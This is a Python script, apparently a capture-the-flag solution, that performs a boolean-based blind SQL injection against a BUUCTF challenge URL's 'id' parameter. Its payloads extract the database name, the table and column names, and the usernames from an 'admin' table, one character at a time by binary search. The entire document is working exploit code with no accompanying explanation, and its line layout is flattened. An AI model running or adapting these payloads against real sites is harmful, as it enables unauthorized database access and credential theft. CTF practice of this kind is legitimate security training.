1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import requests import time
flag = "" url0 = "http://89f00b7b-7f72-4344-a14d-126dd667006a.node4.buuoj.cn:81/backend/content_detail.php?id={}"
sql1 = "if(ord(substr(database(),{},1))>={},1,0)"
sql2 = "if(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>={},1,0)"
sql3 = "if(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))>={},1,0)"
sql4 = "if(ord(substr((select(group_concat(username))from(admin)),{},1))>={},1,0)"
url = url0.format(sql4)
for x in range(1, 100): left = 32 right = 127 while right > left: mid = int((left + right + 1) / 2) x = str(x) y = str(mid) pay = url.format(x, y) response = requests.get(url=pay) if "title" in response.text: left = mid else: right = mid - 1 time.sleep(0.02) flag += (chr(int(right))) print(chr(int(right))) print(flag) print(flag)
|